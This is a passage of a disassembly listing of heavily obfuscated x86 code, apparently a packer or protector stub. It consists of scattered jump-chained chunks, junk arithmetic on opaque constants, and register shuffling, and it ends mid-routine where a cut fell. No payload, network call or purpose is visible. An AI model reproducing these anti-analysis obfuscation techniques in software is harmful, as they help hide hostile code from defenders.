		add	esp, 4
		inc	eax
		jmp	loc_5941A7
; ---------------------------------------------------------------------------
		lodsd
		push	1362h
		mov	[esp], esi
		mov	esi, 603E14D1h
		sub	eax, 7C370BF0h
		jmp	loc_595BFA
; ---------------------------------------------------------------------------


loc_5970B9:				; CODE XREF: sdfs____:0058ED0Fj
		pop	ecx
		push	2393h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, 59h
		push	ecx
		mov	ch, dl
		mov	al, ch
		pop	ecx
		pop	edx
		mov	dh, 37h
		sub	dh, al
		jmp	loc_590AF4

; =============== S U B	R O U T	I N E =======================================



sub_5970DE	proc near		; CODE XREF: sub_591397+39CDj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_590CA1
sub_5970DE	endp

; ---------------------------------------------------------------------------


loc_5970EC:				; CODE XREF: sdfs____:00597C0Dj
		mov	edx, 522110A1h
		shr	edx, 7
		neg	edx
		shr	edx, 5
		dec	edx
		push	esi
		mov	esi, 7FADDE9h
		jmp	loc_593004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597105:				; CODE XREF: sdfs____:loc_5944B1j
					; sub_5917C0+5582j
		sub	esi, 22BC35F4h
		jo	loc_58DD8E
		or	esi, 47D80BDBh
		jmp	loc_59621F
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59711C:				; CODE XREF: sub_5941BD-7FA9j
		sub	esi, 0D7E93F75h
		mov	ebp, esi
		jmp	loc_596078
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_597129:				; CODE XREF: sdfs____:0058F1B0j
		sub	eax, 48D51614h
		push	ebp
		push	esi
		mov	esi, 0D410B01h
		mov	ebp, 0FE54A83Ah
		add	ebp, esi
		jmp	loc_5947C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597141:				; CODE XREF: sub_591370+5217j
		push	edx
		jmp	loc_5914B2
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5932C6
; ---------------------------------------------------------------------------


loc_597152:				; CODE XREF: sdfs____:0059309Cj
		mov	ecx, [esp]
		push	650Ch
		mov	[esp], esi
		jmp	loc_594EF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597162:				; CODE XREF: sub_594228+4A14j
		mov	ebp, esi
		pop	esi
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		add	ebp, 12951684h
		sub	ebp, 0EB959B60h
		sub	esi, 3CA0E03h
		add	esi, ebp
		push	ecx
		mov	ecx, 3CA0E03h
		sub	esi, 4DB00980h
		add	esi, ecx
		add	esi, 4DB00980h
		pop	ecx
		pop	ebp
		jmp	loc_58FDC3
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_59719A:				; CODE XREF: sub_5985AE-5B1Aj
		mov	[esp-4+arg_0], ecx
		jmp	loc_593E03
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_5971A2:				; CODE XREF: sdfs____:0058D799j
		add	bh, 79h
		sub	cl, bh
		jmp	loc_58D50F
; ---------------------------------------------------------------------------


loc_5971AC:				; CODE XREF: sdfs____:00595CF8j
		mov	eax, 4B7B510Eh
		jmp	loc_595738
; ---------------------------------------------------------------------------


loc_5971B6:				; CODE XREF: sdfs____:0058D069j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	32EEh
		jmp	loc_591A85
; ---------------------------------------------------------------------------


loc_5971CE:				; CODE XREF: sdfs____:0058FA43j
		push	41A9h
		mov	[esp], esi
		jmp	loc_591846
; ---------------------------------------------------------------------------


loc_5971DB:				; CODE XREF: sdfs____:0058F9D4j
		pop	ecx
		add	dword ptr [esp+4], 583226BBh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 583226BBh
		sub	dword ptr [esp+4], 23AE11C6h
		pop	eax
		add	dword ptr [esp], 10D36867h
		sub	dword ptr [esp], 39B37415h
		add	[esp], eax
		add	dword ptr [esp], 39B37415h
		sub	dword ptr [esp], 10D36867h
		push	ecx
		mov	ecx, 0A985C1Fh
		sub	[esp+4], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		jmp	loc_58EB97
; ---------------------------------------------------------------------------


loc_59722E:				; CODE XREF: sdfs____:0058BE08j
		pop	ebx
		jmp	loc_5955CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C71E


loc_597234:				; CODE XREF: sub_58C71E+11j
		mov	[esp+4+var_4], ebp
		push	ebx
		jmp	loc_590EC5
; END OF FUNCTION CHUNK	FOR sub_58C71E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58E916
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_597251:				; CODE XREF: sub_595678+6F1j
		mov	eax, 33F44EF7h
		jmp	sub_591AD9
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_59725B:				; CODE XREF: sub_59841F-AF37j
		mov	edx, 4FEB1D54h
		jmp	loc_597866
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_591F2E
; ---------------------------------------------------------------------------


loc_59726E:				; CODE XREF: sdfs____:0059520Fj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	568Fh
		mov	[esp], ecx
		jmp	loc_58F7C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_597285:				; CODE XREF: sub_58BAD7+C89Bj
		mov	ebx, 42FE42A2h
		not	ebx
		neg	ebx
		add	ebx, 0BD01BD61h
		add	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	edx, 6E6A5740h
		sub	edx, 23CE5D3Dh
		sub	edx, edi
		add	edx, 23CE5D3Dh
		add	edx, 6E6A5740h
		jmp	loc_593F52
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_5972BC:				; CODE XREF: sdfs____:0058FC24j
		push	4B8D0F4Dh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59884A
; ---------------------------------------------------------------------------


loc_5972CC:				; CODE XREF: sdfs____:005957C9j
		not	ebx
		xor	ebx, 6BE2FBF5h
		jmp	loc_594F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5972D9:				; CODE XREF: sub_594228-8031j
		or	edx, eax
		jmp	loc_593751
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_5972E0:				; CODE XREF: sub_59841F-A40Aj
		mov	ecx, 0E488B3D1h
		sub	ebx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		add	ebp, 39A33E0Ch
		jmp	loc_58BB0F
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_5972FB:				; CODE XREF: sdfs____:0058C4B4j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 19C93B49h
		add	esi, 249E418Ch
		sub	esi, 35241E1Ah
		not	esi
		sub	esi, 26605598h
		add	esi, 42D0CA4h
		xor	esi, 0D4895852h
		sub	ecx, 36993309h
		jmp	loc_58EAF6
; ---------------------------------------------------------------------------


loc_597332:				; CODE XREF: sdfs____:loc_58D1C0j
		jmp	loc_597C4C
; ---------------------------------------------------------------------------


loc_597337:				; CODE XREF: sdfs____:0059585Dj
		sub	ebx, 9F073A6Bh
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		add	eax, 14C00554h
		sub	eax, ebx
		sub	eax, 14C00554h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 593E30B6h
		jmp	loc_58F37C
; ---------------------------------------------------------------------------


loc_597362:				; CODE XREF: sdfs____:0058D995j
		add	ecx, 0FF68F0E3h
		add	ebx, ecx
		jmp	loc_58E3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_59736F:				; CODE XREF: sub_592853-68A8j
		mov	[esp+4+var_4], ebp
		mov	ebp, 219715D0h
		mov	ecx, 219715F0h
		xor	ecx, ebp
		jmp	loc_5978E0
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------


loc_597383:				; CODE XREF: sdfs____:0059559Fj
		push	esi
		push	eax
		mov	eax, 6788135Fh
		push	eax
		sub	dword ptr [esp], 0BED1169h
		pop	esi
		add	esi, 0BED1169h
		pop	eax
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_596F2A
; ---------------------------------------------------------------------------


loc_5973A7:				; CODE XREF: sdfs____:0058BBEEj
		neg	ebx
		not	ebx
		add	ebx, 0FE672805h
		add	esi, ebx
		jmp	loc_597E5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_5973B8:				; CODE XREF: sub_596736-5718j
		mov	edx, 1D77469Bh
		sub	ecx, edx
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_59447C
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_5973C8:				; CODE XREF: sdfs____:00591DC4j
		mov	eax, 2
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, edx
		jmp	loc_58FD34
; ---------------------------------------------------------------------------


loc_5973DC:				; CODE XREF: sdfs____:0058E842j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_58D582
; ---------------------------------------------------------------------------


loc_5973E9:				; CODE XREF: sdfs____:0058DFDBj
		sub	esp, 2
		mov	[esp], bx
		push	6254h
		mov	[esp], edx
		mov	dh, 67h
		xor	dh, 0DBh
		push	ecx
		mov	ch, dh
		jmp	loc_594F32
; ---------------------------------------------------------------------------


loc_597408:				; CODE XREF: sdfs____:00594E2Aj
		sub	edx, 1C2A3585h
		xor	edx, 60484E4Eh
		add	eax, edx
		jmp	loc_593225
; ---------------------------------------------------------------------------


loc_59741B:				; CODE XREF: sdfs____:0058EB02j
		pop	esp
		mov	ax, [esp]
		push	426Ah
		jmp	loc_598B25
; ---------------------------------------------------------------------------


loc_59742A:				; CODE XREF: sdfs____:00594DACj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		push	esp
		jmp	loc_596742
; ---------------------------------------------------------------------------


loc_597438:				; CODE XREF: sdfs____:00594FC9j
		jg	loc_58C895
		jmp	loc_596B64
; ---------------------------------------------------------------------------
		push	731Bh
		mov	eax, ebx


loc_59744A:				; CODE XREF: sdfs____:005940ACj
					; sdfs____:005950F0j
		add	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_5945B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_597466:				; CODE XREF: sub_5941BD+49E9j
		add	ebx, 4
		push	ecx
		push	ebx
		mov	ebx, 0BF87207h
		jmp	loc_58CC88
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597478:				; CODE XREF: sub_591435+190j
		neg	eax
		jz	loc_59036F
		jmp	loc_5941FC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_597485:				; CODE XREF: sdfs____:00590AFDj
		inc	ebx
		jz	loc_58BE80
		shr	ebx, 1
		jns	loc_58C4D5
		add	ebx, 0DCEAAA9Fh
		jmp	loc_59618A
; ---------------------------------------------------------------------------
		or	ah, 0FAh


loc_5974A2:				; CODE XREF: sdfs____:0059439Ej
		pop	small word ptr [esp]
		not	si
		push	small 2365h
		mov	[esp], si
		push	small word ptr [esp+2]
		pop	si
		pop	small word ptr [esp]
		mov	cx, [esp]
		add	esp, 2
		xor	bx, cx
		xor	cx, bx
		xor	bx, cx
		xor	[esp], bx
		xor	bx, [esp]
		xor	[esp], bx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5974DD:				; CODE XREF: sdfs____:005940DDj
		mov	ebx, 7FBF7FBDh
		jmp	loc_58D5CA
; ---------------------------------------------------------------------------


loc_5974E7:				; CODE XREF: sdfs____:00595D39j
		push	ecx
		mov	ecx, 67731C81h
		or	eax, ecx
		pop	ecx
		or	eax, 3ECC3926h
		xor	eax, 7FFF3FABh
		push	ebp
		mov	ebp, 43094CBBh
		shl	ebp, 1
		not	ebp
		shr	ebp, 2
		xor	ebp, 4367377Dh
		neg	ebp
		xor	ebp, 0FF76B67Fh
		sub	esi, ebp
		pop	ebp
		jmp	loc_595692
; ---------------------------------------------------------------------------


loc_59751D:				; CODE XREF: sdfs____:00596CD0j
		xor	ecx, [esp]
		jmp	loc_591317
; ---------------------------------------------------------------------------


loc_597525:				; CODE XREF: sdfs____:00594564j
		sub	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0E8h
		shr	ch, 2
		add	ch, 0C1h
		add	al, 9Fh
		add	al, ch
		push	cx
		mov	cl, 9Fh
		add	al, 0BDh
		sub	al, cl
		jmp	loc_597C2F
; ---------------------------------------------------------------------------


loc_59754A:				; CODE XREF: sdfs____:0058F25Fj
		sub	bh, 0B1h
		add	bh, 4Dh
		sub	bh, 95h
		jmp	loc_58DE99
; ---------------------------------------------------------------------------


loc_597558:				; CODE XREF: sdfs____:00591A80j
		mov	edx, 4
		add	ebx, 56CC3297h
		push	eax
		mov	eax, 4C006E18h
		sub	ebx, eax
		pop	eax
		jmp	loc_595916
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_597571:				; CODE XREF: sub_5987BC-C742j
		jmp	loc_597CC6
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597576:				; CODE XREF: sub_591435+1924j
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5986FF
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_597587:				; CODE XREF: sdfs____:00594AB7j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_58ECD9
; ---------------------------------------------------------------------------


loc_59759E:				; CODE XREF: sdfs____:loc_58C895j
		jmp	loc_58EEB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5975A3:				; CODE XREF: sub_591370+341Aj
		mov	ebx, [esp+0]
		push	ebx
		jmp	loc_592326
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_5975AC:				; CODE XREF: sub_5987BC-AB52j
		add	bl, 0A8h
		add	bl, 8Dh
		sub	bl, al
		sub	bl, 8Dh
		push	eax
		mov	ah, 0A8h
		sub	bl, ah
		pop	eax
		push	eax
		jmp	loc_597D78
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_5975C3:				; CODE XREF: sub_598A21-7309j
		xchg	ebp, ecx
		jmp	sub_58E01A
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591397


loc_5975CA:				; CODE XREF: sub_59377D-E84j
					; sub_591397+2D88j
		push	eax
		mov	eax, 218B1714h
		inc	eax
		shr	eax, 5
		xor	eax, 5A9A6780h
		jmp	loc_594136
; END OF FUNCTION CHUNK	FOR sub_591397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5920A6


loc_5975DE:				; CODE XREF: sub_5920A6-2B77j
		pop	ebx
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		pop	esp
		jmp	loc_593698
; END OF FUNCTION CHUNK	FOR sub_5920A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_5975F6:				; CODE XREF: sub_59841F-B9Fj
		mov	ebx, 4
		push	edx
		mov	edx, 4F307382h
		and	edx, 692A6817h
		sub	edx, 18643799h
		jmp	loc_591700
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_597612:				; CODE XREF: sdfs____:0058EA63j
		sub	edi, 4DB4565Ch
		jbe	loc_590658
		jmp	loc_58D837
; ---------------------------------------------------------------------------


loc_597623:				; CODE XREF: sdfs____:00596594j
		jmp	loc_58DBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597628:				; CODE XREF: sub_591370-12F7j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-18h+arg_14]
		pop	esp
		push	ebp
		sub	esp, 4
		jmp	loc_598A70
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	3E42h
		mov	[esp], esp
		jmp	loc_592F89
; ---------------------------------------------------------------------------


loc_597655:				; CODE XREF: sdfs____:00597DEBj
		mov	ecx, 492438F3h
		not	ecx
		neg	ecx
		jnz	loc_591B76
		neg	ecx
		jmp	loc_596A00
; ---------------------------------------------------------------------------
		mov	edi, 509E494Ah


loc_597670:				; CODE XREF: sdfs____:005966B1j
		dec	ebx
		jnz	loc_594FCE
		push	esi
		mov	esi, 0FFF47FFEh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597685:				; CODE XREF: sub_5917C0-4E49j
					; sdfs____:00596A2Ej
		add	edx, esi
		mov	esi, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		add	edx, 2
		xchg	edx, [esp-8+arg_4]
		pop	esp
		sub	bl, 88h
		push	ecx
		mov	cl, 80h
		jmp	loc_59457F
; END OF FUNCTION CHUNK	FOR sub_5917C0

; =============== S U B	R O U T	I N E =======================================



sub_5976B0	proc near		; CODE XREF: sub_5BB696-2A392j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C64D SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 70947734h
		add	ebx, 8F6B88D0h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_58C64D
sub_5976B0	endp

; ---------------------------------------------------------------------------


loc_5976D2:				; CODE XREF: sdfs____:0058F7B1j
		xor	ebp, 41C5934h
		jmp	loc_58C8EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5934D7


loc_5976DD:				; CODE XREF: sub_5934D7-A0Dj
		pop	esi
		mov	ecx, [esp+4+var_4]
		jmp	sub_596736
; END OF FUNCTION CHUNK	FOR sub_5934D7
; ---------------------------------------------------------------------------


loc_5976E6:				; CODE XREF: sdfs____:00596341j
		sub	al, 36h
		jmp	loc_58F534
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5976ED:				; CODE XREF: sub_594228-63Fj
		push	cx
		mov	cl, 98h
		sub	al, cl
		pop	cx
		pop	edx
		sub	bl, 0D6h
		jmp	loc_58BD28
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5976FE:				; CODE XREF: sub_591370-3C31j
		mov	edi, ebx
		mov	ebx, [esp-14h+arg_10]
		jmp	loc_58E11E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_597708:				; CODE XREF: sdfs____:00598B61j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_58E67E
; ---------------------------------------------------------------------------


loc_597717:				; CODE XREF: sdfs____:00595B2Bj
		push	7AEAh
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_592369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC13


loc_597726:				; CODE XREF: sub_58EC13+3j
		mov	[esp+0Ch+var_C], esi
		jmp	loc_58D38A
; END OF FUNCTION CHUNK	FOR sub_58EC13
; ---------------------------------------------------------------------------


loc_59772E:				; CODE XREF: sdfs____:005982A8j
		xchg	eax, edx
		not	edx
		jmp	loc_5922D4
; ---------------------------------------------------------------------------


loc_597736:				; CODE XREF: sdfs____:00591461j
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_5947B5
; ---------------------------------------------------------------------------


loc_597742:				; CODE XREF: sdfs____:005945C0j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597747:				; CODE XREF: sub_594228+28FDj
		pop	edx
		jmp	loc_58FC99
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59774D:				; CODE XREF: sdfs____:0058BAC9j
		push	ecx
		jmp	loc_5964D4
; ---------------------------------------------------------------------------


loc_597753:				; CODE XREF: sdfs____:00595E3Cj
		popa
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		sub	esi, 38365794h
		add	esi, edx
		add	esi, 38365794h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592578
; ---------------------------------------------------------------------------


loc_59778A:				; CODE XREF: sdfs____:0058E917j
		mov	ebx, 4
		add	edi, 37032C08h
		add	edi, ebx
		sub	edi, 37032C08h
		pop	ebx
		jmp	loc_58C05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5977A3:				; CODE XREF: sub_591435+1A86j
		shl	edx, 1
		push	43B7h
		mov	[esp+18h+var_18], ecx
		mov	ecx, 5260164Ah
		jmp	loc_594CF8
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5977B7:				; CODE XREF: sdfs____:005904BEj
		mov	esp, [esp]
		jmp	loc_594AB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5977BF:				; CODE XREF: sub_591370+39B8j
		neg	ecx
		sub	ecx, 3E160471h
		mov	edi, ecx
		jmp	loc_594F61
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_5977CE:				; CODE XREF: sdfs____:00595482j
		mov	ebx, 45C856A6h
		jmp	loc_596CD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5977D8:				; CODE XREF: sub_591370-3C7Ej
		or	edi, 69186677h
		xor	edi, 7DD52678h
		mov	edx, edi
		pop	edi
		jmp	loc_5944CB
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_5977EC:				; CODE XREF: sub_595678+2EE3j
		pop	ebp
		push	ecx
		push	edx
		mov	edx, 958071Fh
		not	edx
		push	esi
		jmp	loc_594B1D
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		jmp	loc_58C2A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597CE3


loc_597812:				; CODE XREF: sub_597CE3-AA96j
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		jmp	loc_58E44E
; END OF FUNCTION CHUNK	FOR sub_597CE3
; ---------------------------------------------------------------------------


loc_59781D:				; CODE XREF: sdfs____:0058F61Cj
		mov	[esp], ebx
		mov	ebx, 4EFC33B2h
		jmp	loc_597B00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59782A:				; CODE XREF: sub_594228-2C89j
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_58E3AA
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_597835:				; CODE XREF: sdfs____:0058C5F8j
					; sub_59841F:loc_5906D3j
		jmp	loc_5942AA
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_59783A:				; CODE XREF: sdfs____:0058DA6Ej
		push	49A0h
		mov	[esp], esi
		mov	esi, 490829DFh
		jmp	loc_58EB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_59784C:				; CODE XREF: sub_5987BC-AA62j
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		jmp	loc_58E4AB
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_597858:				; CODE XREF: sdfs____:00592E22j
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_590981
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_597866:				; CODE XREF: sub_59841F-11BFj
		shr	edx, 1
		sub	edx, 3DA51470h
		shl	edx, 5
		sub	edx, 4A0F473Ch
		add	ecx, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_5975F6
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597885:				; CODE XREF: sub_594228+23B6j
		mov	esp, [esp-0Ah+arg_6]
		mov	[esp-0Ah+arg_6], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597892:				; CODE XREF: sub_5917C0+2749j
		sub	al, cl
		pop	ecx
		mov	dx, word ptr [esp-8+arg_4]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp-8+arg_4],	cx
		mov	ch, 0C3h
		add	al, ch
		mov	cx, word ptr [esp-8+arg_4]
		jmp	loc_590912
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5978B6:				; CODE XREF: sdfs____:0059039Cj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_596667
; ---------------------------------------------------------------------------


loc_5978C2:				; CODE XREF: sdfs____:00596FB1j
		sub	esp, 4
		push	4D90h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58DDE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_5978E0:				; CODE XREF: sub_592853+4B2Bj
		pop	ebp
		add	ecx, edi
		push	ebx
		push	ebp
		mov	ebp, 0
		push	ebp
		xor	[esp+0Ch+var_C], 0B94F6Eh
		pop	ebx
		xor	ebx, 0B94F6Eh
		pop	ebp
		push	ebp
		push	esi
		jmp	loc_59866F
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------


loc_597901:				; CODE XREF: sdfs____:0058EF1Dj
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58E833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_597915:				; CODE XREF: sub_590561+47B3j
		and	si, 7818h
		xor	si, 0F115h
		jmp	loc_598111
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597924:				; CODE XREF: sub_591435+6FA4j
		pop	esp
		mov	[esp+0], ecx
		jmp	loc_59611E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_59792D:				; CODE XREF: sub_59841F-9B6Cj
		jmp	loc_58C62E
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: sdfs____:0058E6DFj
		add	edi, 62E2593Bh
		add	edi, 487B753Dh
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 28h
		push	ebx
		mov	ebx, 2E7B180Ch
		sub	ecx, ebx
		pop	ebx
		jmp	loc_591906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597959:				; CODE XREF: sub_594228-84FEj
		mov	al, 2Eh
		add	bl, al
		pop	ax
		sub	bl, 0A7h
		add	bl, al
		add	bl, 0A7h
		sub	bl, 2Eh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	cl, 0D6h
		sub	bl, 93h
		add	bl, cl
		add	bl, 93h
		mov	ecx, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
